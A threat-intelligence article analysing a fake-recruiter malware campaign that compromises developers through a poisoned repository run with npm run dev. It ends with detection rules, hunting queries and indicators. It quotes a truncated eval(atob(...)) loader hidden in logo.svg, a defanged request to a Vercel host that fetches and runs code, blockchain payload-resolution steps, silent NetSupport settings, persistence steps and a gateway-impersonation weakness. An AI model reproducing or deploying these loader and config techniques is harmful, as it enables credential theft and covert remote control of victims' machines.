#hunting-lazarus

Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials

A campaign tracked as DEV#POPPER since 2024 is still recruiting developers through hiring platforms. The intrusion fires on npm run dev, the payload is retrieved from a public blockchain, and two unauthenticated servers holding about 1.28 TB remain reachable.

Red Asgard
November 13, 2026
lazarusdprkaptthreat-intelligencecontagious-interviewnorth-koreadev-popperfake-interviewrecruitment-luremalicious-repositorysupply-chaindeveloper-securitydetectionmitre-attack

The technical record behind this article is DEV#POPPER Returns, Stealing Browser Credentials (Technical Record).

A recruiter offered a job with a real codebase, a real task and a stated pass criterion. The third command on the task page was the intrusion.


tldr:

A campaign tracked publicly since at least 2024 as DEV#POPPER, and assessed here as DPRK-consistent on behaviour, targets software developers by offering them contract work through hiring platforms. It delivers a poisoned code repository, and the intrusion fires on npm run dev, a command the task page tells the candidate to run.

The November 2026 generation observed in this record differs from the 2024 reporting in every component after the first execution. The payload is retrieved from a public blockchain rather than a domain, the remote-access kit is a commercial product rather than a bespoke RAT, and the latest build carries a working Chrome App-Bound Encryption bypass.

Two unauthenticated servers holding 1.28 TB of collected data remain reachable. A held stablecoin balance of 24,987.82 USDT provides the only freeze target in the chain.

Introduction

Social engineering targets the person rather than the software. The campaign in this record does one specific version of it: it offers a developer paid work, gives them a task that is real, and arranges for the act of doing the task to be the intrusion.

That lever is stronger than it sounds. The offer is a job on a real platform, with a company name, a written scope and a pass criterion. Declining costs the candidate income. The campaign selects for people who need the work, and the entire design of the lure is aimed at making the transaction indistinguishable from ordinary contract hiring.

This record was compiled from an approach received directly rather than reconstructed from a third party, which is why the recruiter conversation below is reproduced verbatim. The infrastructure, the payload and the money were then reached from that starting point. Nothing here required exploiting the operator: every artefact was fetched the same way the malware fetches it.

The family continuity matters. A 2024 advisory describes DEV#POPPER delivering a Python RAT from an extensionless .npl file after the same recruiter approach, the same repository, and the same instruction to run the project. Two years later the delivery instinct is unchanged, and every downstream component has been replaced. The lure is the part that does not need to evolve.

Stage 1: The approach

The contact came through Upwork at 09:01 on 10 November 2026 from an account registered as Edmar Casasola, Metallicus. It carried a job invitation and a request to submit a proposal.

Hello!

I'd like to invite you to take a look at the job I've posted. Please submit a proposal if you're available and interested.

Edmar C.

The response was sent inside the same minute:

Thanks for inviting me

Hey Edmar, thanks for the consideration

I'd like to help with the project

could you please share a bit more details?

At 09:26 the operator described the role. The description is a script written to match the code that would follow it: a decentralised marketplace for tokenised real-world assets, Ethereum on chain, React and TypeScript on the front end, Node and MongoDB behind it, and property, watches and jewellery as the asset categories.

TimeActorEvent
09:01OperatorJob invitation and proposal request
09:01CandidateReply expressing interest
09:26OperatorRole description and two screening questions
10:52CandidateAvailability and rate
10:54OperatorRequests GitHub username to send an invitation to the test project
10:59CandidateUsername supplied
11:38OperatorLoom requirement and Notion task page

The 10:54 message is the delivery step and it reads as onboarding:

Okay, I'd like to conduct a short skills assessment to better understand your experience and technical skills. If possible, please share your GitHub username, and I'll send you an invitation to the test project.

Five minutes later a private repository existed, named for the handle that had just been supplied. The naming is per-candidate, which means the repository is built for one target at a time rather than cloned from a template.

The task page arrived at 11:38 with the repository access and a recording requirement:

Please record a quick Loom video showing the Git clone, environment setup, and how you plan to approach the task. We need to see the full process from the initial setup before you start the actual task. Send me the video link first, and you can start the test.

The recording is requested before the test begins and it is the one part of the process with no legitimate purpose. It gives the operator a survey of the target machine on camera, with the target's cooperation, before any code has executed. It is also a working hiring filter, which is what makes refusing it socially expensive.

The task page required three deliverables: a repository link with the completed source, the Loom, and a written summary of the architecture reasoning. The first is the infection, the second is the survey, and the third costs the candidate nothing.

Stage 2: The build-config injection

The repository carried a Tailwind configuration. At line 147:

plugins: [require("tailwindcss-animate"), require("./public/logo.svg")]

A stylesheet configuration loads plugins. It has no reason to load an image, and public/logo.svg is not an image. It is JavaScript:

eval(atob('Y29uc3T7c3Bhd259PXJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS...'))

Node resolves the require(), reads the file as a module, and the eval executes. The mechanism is one require() of a non-JavaScript asset from a build configuration. No build step is involved, no test suite runs, and there is no binary for the candidate to click.

CommandBehaviour
cp example.env .envNo execution
npm installNo execution. Completes silently
npm run devFires the loader approximately two seconds into server start

That distinction is the detection problem in one line. A candidate who installed the project is unaffected. A candidate who started it is compromised.

The task page instructs the candidate to copy the project into their own GitHub repository. They have been invited to somebody else's private repository, they cannot push to it, and copying it into their own account is the ordinary thing to do. Three consequences follow, all intended: the loader lands in the victim's account under the victim's name, anyone who clones or forks that repository receives the same loader, and the "I downloaded something suspicious" defence is removed.

The repository is private and it was live at the time of this analysis. git ls-remote returned 18e3b3b0a02bc52df856d918beecfed7f60cd0a7 for both HEAD and refs/heads/main. An anonymous request receives a 404 because the repository is private, and that status code does not indicate deletion. A responder who reads it as deletion will skip the containment step of revoking access.

Stage 3: The HTTP loader

The decoded logo.svg payload is 363 bytes. It spawns a detached child process with stdio set to ignore, so it survives the parent and produces no console output, then requests a payload over plain HTTP from a Vercel-hosted function:

GET hxxps://db-connectors[.]vercel[.]app/server/v2
  bearrtoken: dbheader

The header is a name and a value, not a credential. Nothing is authenticated. The response was 32,166 bytes of JavaScript with x-powered-by: Express, delivered in a JSON field named cookie, which the loader passes to eval in memory.

The field name is worth noting. A value called cookie carrying JavaScript is the naming convention of an operation that expects an intermediary to check the wrong thing.

Stage two never touches disk. What lands on disk is stage three's staging area, ~/.vs_cache/, containing main.js, main.vbs, package.json and loader.log. On Windows the launch is wscript.exe running a VBS that builds its quoting with Chr(34).

At runtime it installs its own dependencies: axios, better-sqlite3, node-machine-id, socket.io-client, and on Windows @primno/dpapi for DPAPI decryption and koffi 3.1.2 for FFI. The co-occurrence of raw FFI and Windows credential decryption in ordinary Node work is unusual enough to be worth an alert on its own.

Stage 4: The blockchain payload resolver

The next stage is not hosted on a server. It sits in blockchain transactions and the implant reads it.

The resolver asks a public TRON endpoint for the most recent transaction on a single address, lifts the raw_data.data field, swaps the two halves of that data, reads the result as hexadecimal, and converts it into a transaction hash on BNB Smart Chain. It then fetches that transaction from a public BSC node and unwinds the payload: reverse the bytes, XOR against an embedded key, match the BCGZ1| marker, base64-decode, gunzip, and execute.

Four TRON transactions resolve onward, and all four payloads decode:

TRON transactionBSC transactionBSC blockPayload, decoded
c846aad5c225bc02...5a3881546e9c85cd...1206357803,015 B
ec77f2b7aeb23213...4c6b9eee4cb3340...1204462794,760 B
aac37a57e9f6e395...aa2e6440d65870d5...119726341161,942 B
191bf3c3916ae762...925e643c2cd36807...1196984032,397 B

All four BSC transactions were sent from 0xc24971414291ac130a8c758c96dc574da017b5a9 to 0x...dEaD, the burn address. The chain functions as a pointer rather than a host: the payload server is ordinary infrastructure, and the chain answers one question, which is where the current payload is today.

That design has a cost for the operator. A pointer can be rotated at will, but it cannot be un-published. Every previous transaction stays readable, which makes the chain history a timeline of what was served when.

A limit that constrains this record. No on-chain command channel is established. During this analysis, two findings described beacon transactions tasking implants on a schedule with a fixed cadence. Both were withdrawn after the carrier token metadata was decoded: one token is a commercial TRON energy service advertising its own URL, and the other is a second such service described in two languages. The apparent tasking traffic is their promotional airdrop distribution. What survives from the chain is payload delivery and funding topology, and this record does not claim more.

Stage 5: The remote-access kit

The largest on-chain envelope is 161,942 bytes and it is not a script. It is a deployment plan for NetSupport Manager, a commercial remote-access product sold for legitimate support work. Nothing in the RAT itself is custom, which is why hash-based detection of the tool is the wrong answer.

The kit is 2,298,289 bytes and contains Service.exe, remcmdstub.exe, NSM.LIC, nskbfltr.inf, PCICL32.DLL, HTCTL32.DLL, TCCTL32.DLL, PCICHEK.DLL, pcicapi.dll, AudioCapture.dll, msvcr100.dll, cksini.exe, client32.ini, deploy-to-target.cmd and patch-ini-filename.ps1. AudioCapture.dll is the microphone.

The configuration points at the operator's gateway and disables the user's ability to close the session:

GatewayAddress = chainmanamgentagency[.]info
Port           = 443
GSK            = <gskmode=0 value, withheld>
RoomSpec       = Eval
silent=1  SysTray=0  AlwaysOnTop=1  DisableClientConnect=1  DisableDisconnect=1

SysTray=0 means there is no icon to notice. DisableDisconnect=1 means the user cannot end it.

StepAction
1Copy payload and client32.ini to %LOCALAPPDATA%\Microsoft\Windows\SettingSync\Caches\{GUID}\Win32\ResCache\
2Rewrite Filename= in the config to the absolute path
3Regenerate the configuration checksum with cksini.exe
4Write ResCache.vbs as the launcher
5Create the Run value SettingSyncResCache pointing at wscript.exe "<ResCache>\ResCache.vbs"
6Launch Service.exe
7Delete the staging directory

The checksum step matters for responders who find the config and try to repoint it. The client refuses to load a configuration whose checksum does not match, and the utility that fixes that is in the operator's own kit.

The path is the detection. Nothing legitimate writes a VBS launcher into SettingSync\Caches\{GUID}\Win32\ResCache. Microsoft's synchronisation components do not do that. The GUID, the Win32\ResCache suffix and the .vbs extension together are more durable than any hash, because they survive the operator replacing every binary.

Stage 6: The command channel

The gateway at chainmanamgentagency[.]info resolves to 185.248.161[.]18 and identifies itself as NetSupport Gateway/1.92 (Windows NT). It speaks HTTP, and the requests use a bare line feed rather than the standard carriage-return pair. A conforming HTTP parser discards them and resets the socket, which is why earlier probing against this infrastructure failed for a day and produced a wrong conclusion about a binary protocol.

Reversal of HTCTL32.DLL explains the formatting. The library imports WSOCK32 for twenty-six socket functions and has no WININET and no CryptoAPI in its import table. There is no HTTP stack and no OS crypto provider, so the request is formatted strings written to a socket and the encryption is implemented in the library itself.

Two further details matter for anyone writing a compatible client. Content-Length is emitted as a fixed-width placeholder and patched in place, so the header length never varies. And the base64 alphabet at 0x101fa228 replaces + and / with ( and ), which makes a standard decoder reject or silently mis-decode the output.

The weakness is in the key handling. The gateway key in client32.ini is stored reversibly under gskmode=0. The client derives a second value from it and transmits that derived value in cleartext on every registration, with no challenge and no server-side proof. One infected configuration file is therefore a gateway credential, and it authenticated from a different host, a different MAC and a different client name.

This is the practical realisation of CVE-2025-34180, with a wider exposure than the CVE text describes. NetSupport 12.01 also falls within the applicable range for CVE-2025-34179 and CVE-2025-34181.

The client does not authenticate the server. A synthetic gateway was built in an isolated virtual machine. It answered the client's registration with a synthetic success response and delivered a captured command block. The client accepted it, decrypted the operator's command, acted on it, and returned a 267-byte encrypted reply.

That finding is not specific to this campaign. Anyone who can answer on the configured address can drive every client in that room, and the client's replies are the collected data flowing out.

What the implant collects

The collector is not limited to the browser. Ordered by what a responder should treat as exposed:

CategoryTargets
Live browser sessionsCookies, Local State, extension storage for Chrome, Edge, Opera, Brave and Yandex
Stored credentialsLogin Data, Firefox key4.db and logins.json, Tor Browser
Keys and wallets.env, .pem, .ppk, .p12, .pfx, filenames matching MetaMask, Bitcoin, Solana, and the strings secret phrase and private key
Shell history.bash_history, .zsh_history
Keystrokes and clipboardKeyboard hook and clipboard monitor, uploaded on a timer
Machine controlRemote desktop, file transfer, command prompt, registry editor, microphone
Remote reachSSH keys and passwords, which extends exposure to every host the machine is trusted to reach

The current build defeats Chrome App-Bound Encryption, introduced in version 127 specifically to prevent cookie theft. The mechanism is a 9,728-byte COM injector that calls the browser's own elevation service from inside the browser process, silently, with no elevation prompt. The practical consequence is that the exposed asset is the logged-in session rather than the stored password. Password rotation does not end a stolen session; session invalidation does.

The build also carries container detection across thirty string references. A detonation inside Docker will not produce the behaviour an analyst is looking for, and may read as a clean sample.

Why the campaign keeps working

Refusal costs the candidate the job, and the campaign selects targets for whom that cost is real. The operation approaches contract and remote developers looking for work through hiring platforms, and the observed concentration is South Asian.

The decision never presents itself as "should I run untrusted code". It presents itself as "am I going to be difficult about a normal hiring step". Somebody who needs the income has answered that question before it finishes being asked.

The 2024 and 2026 iterations share that property and almost nothing else. The lure is the part of the design that carries across generations, because it addresses a human constraint rather than a technical one.

Recommendations

  • Treat an invitation to a private assessment repository as untrusted code, regardless of the platform or the recruiter's manner. Run it in a disposable environment that cannot reach real credentials.
  • Treat the recording request as the decision point. An employer who needs to know a candidate's environment can ask for version output in writing. Nobody needs footage of a filesystem.
  • If the project has already run, invalidate sessions rather than changing passwords. A stolen cookie is a live session.
  • Revoke access to the repository for anyone who was invited. A private repository that still answers is still serving.
  • Hunt the three behavioural markers in the detection section before any hash. They survive the operator rebuilding every payload.

MITRE ATT&CK

TacticTechniqueObserved
Resource DevelopmentT1583.001 Acquire Infrastructure: DomainsFronting domain and provider-hosted command hosts
Resource DevelopmentT1585.001 Establish Accounts: Social Media AccountsRecruiter persona on a hiring platform
Resource DevelopmentT1608.001 Stage Capabilities: Upload MalwarePrivate per-candidate repository
Initial AccessT1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development ToolsInjected build configuration in a project supplied as work
ExecutionT1204.002 User Execution: Malicious Filenpm run dev
ExecutionT1059.007 Command and Scripting Interpreter: JavaScripteval(atob(...)) loader
PersistenceT1547.001 Boot or Logon Autostart: Registry Run KeysSettingSyncResCache
PersistenceT1053.005 Scheduled Task/Jobschtasks in the implant string table
Defense EvasionT1027 Obfuscated Files or InformationLayered base64, XOR, gzip, half-swap
Defense EvasionT1564.001 Hide Artifacts: Hidden Files and Directories~/.vs_cache
Defense EvasionT1497 Virtualization/Sandbox EvasionContainer detection
Defense EvasionT1070.004 Indicator Removal: File DeletionStaging directory removed after deployment
Credential AccessT1555.003 Credentials from Password Stores: Web BrowsersChrome, Edge, Brave, Firefox, Tor
Credential AccessT1552.001 Unsecured Credentials: Credentials In Files.env, .pem, key material
Credential AccessT1056.001 Input Capture: KeyloggingKeyboard hook component
DiscoveryT1033, T1082 System Owner/User and System Information DiscoveryHost and user collection
CollectionT1115 Clipboard DataClipboard monitor
CollectionT1560 Archive Collected DataStaged archives before upload
Command and ControlT1102 Web ServiceVercel-hosted loader
Command and ControlT1071.001 Application Layer Protocol: Web ProtocolsHTTP with bare LF to the gateway
Command and ControlT1219 Remote Access SoftwareNetSupport Manager
ExfiltrationT1041 Exfiltration Over C2 ChannelUnauthenticated upload endpoint

Detection

Seven Sigma rules are published with this record. The three highest-value indicators are behavioural and independent of any hash:

%LOCALAPPDATA%\Microsoft\Windows\SettingSync\Caches\{8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}\Win32\ResCache\ResCache.vbs
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SettingSyncResCache
~/.vs_cache/

A build configuration that loads an image is the design signature, and one command catches the design rather than the sample:

grep -rnE "require\(['\"]\./.*\.(svg|png|jpg|gif|ico)['\"]\)" \
  --include="tailwind.config.*" --include="postcss.config.*" \
  --include="vite.config.*" --include="next.config.*" .

Run it against any project before starting work for a party you do not know. Any hit is worth a question about why a stylesheet configuration needs a picture.

The YARA set published alongside this record matched 25 of 25 recovered builds with 0 false positives across 85 benign files.

Hunting queries

Endpoint, for the loader's detached child:

Get-CimInstance Win32_Process |
  Where-Object { $_.Name -eq 'node.exe' -and $_.CommandLine -match 'node -e' } |
  Select-Object ProcessId, ParentProcessId, CommandLine

Endpoint, for the persistence artifacts:

Test-Path "$env:LOCALAPPDATA\Microsoft\Windows\SettingSync\Caches\{8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}\Win32\ResCache\ResCache.vbs"
Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\SettingSyncResCache"

Network, for the observed command hosts. These domains and addresses are indicators, not destinations to visit: db-connectors[.]vercel[.]app, chainmanamgentagency[.]info, green-horse-42739[.]zap[.]cloud, blue-eagle-26751[.]zap[.]cloud, 138.226.247[.]154, 94.249.185[.]106, 147.189.169[.]26, 185.248.161[.]18.

C2 and infrastructure

IndicatorRoleDetail
db-connectors[.]vercel[.]appStage one loaderVercel-hosted function, bearrtoken header, JSON cookie field
138.226.247[.]154 :80/443Loader and kit deliveryAS43641 Sollutium, Netherlands
94.249.185[.]106 :443Current command host, and a data storeAS206996 ZAP-Hosting, Ashburn, Virginia
147.189.169[.]26 :3011Backup command host, and a data storeAS206996 ZAP-Hosting
185.248.161[.]18 :443NetSupport gatewayAS199701 SeedVPS, Netherlands
chainmanamgentagency[.]infoGateway fronting nameResolves to the gateway; name returns 403 from a default Apache
0xc24971414291ac130a8c758c96dc574da017b5a9Dead-drop writerSends all four envelopes to the burn address

Both data stores sit on one hosting provider under sequential order identifiers, which is one abuse desk to notify. Combined they hold 1.28 TB: 332.6 GB of 536.7 GB on one, and 948.0 GB of 1.07 TB on the other, which is 88.3 percent full with 125.6 GB left. Across the 40 hours to 2026-11-13T22:31Z the pair grew 74.8 GB, 73.2 GB of it on that larger server. Both reject uploads against a global limit of sixteen in flight.

Analysed files and hashes

FileSizeSHA-256
logo.svg (loader, decoded)363 Bnot recoverable in isolation
Stage two, from the Vercel endpoint32,166 Bsee detection set
On-chain build 1.5.2161,942 B78ef4f03...
Server build 1.6.27254,323 B5dff1771d10845cc06c6e501d9f3e4359ebe60bcf6a0d3699d8ed41abab24857
client32-portable (NetSupport kit)2,298,289 B39abfd47b02d66ed2084775b4ade23c3f057969490d60a1e50309b72544a8a9d
win_key_agent.js90,570 Bebeb2ecce5c173cbec156a4d66413dba0bd60a5bf7ee90ba8100a7866bbbd9e2
App-Bound Encryption injector9,728 B47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce
HTCTL32.DLL (NetSupport 12.01)323,912 B6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269

The server build is newer than the on-chain build and its hash appears in none of the eighteen builds recovered from the chain. Anyone analysing only the blockchain is looking at a payload that was current two months earlier.

References

  1. Securonix Threat Research, "Analysis of DEV#POPPER: New Attack Campaign Targeting Software Developers Likely Associated With North Korean Threat Actors", 24 April 2024.
  2. "Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials (Technical Record)". The full mechanism, the reversal of the gateway transport, the App-Bound Encryption component, and the five claims withdrawn during this analysis with the control tests that killed them.

Share this article

Help spread the word about security best practices.

Related Articles

Need Security Help?

Our team can help secure your blockchain, web applications, and infrastructure.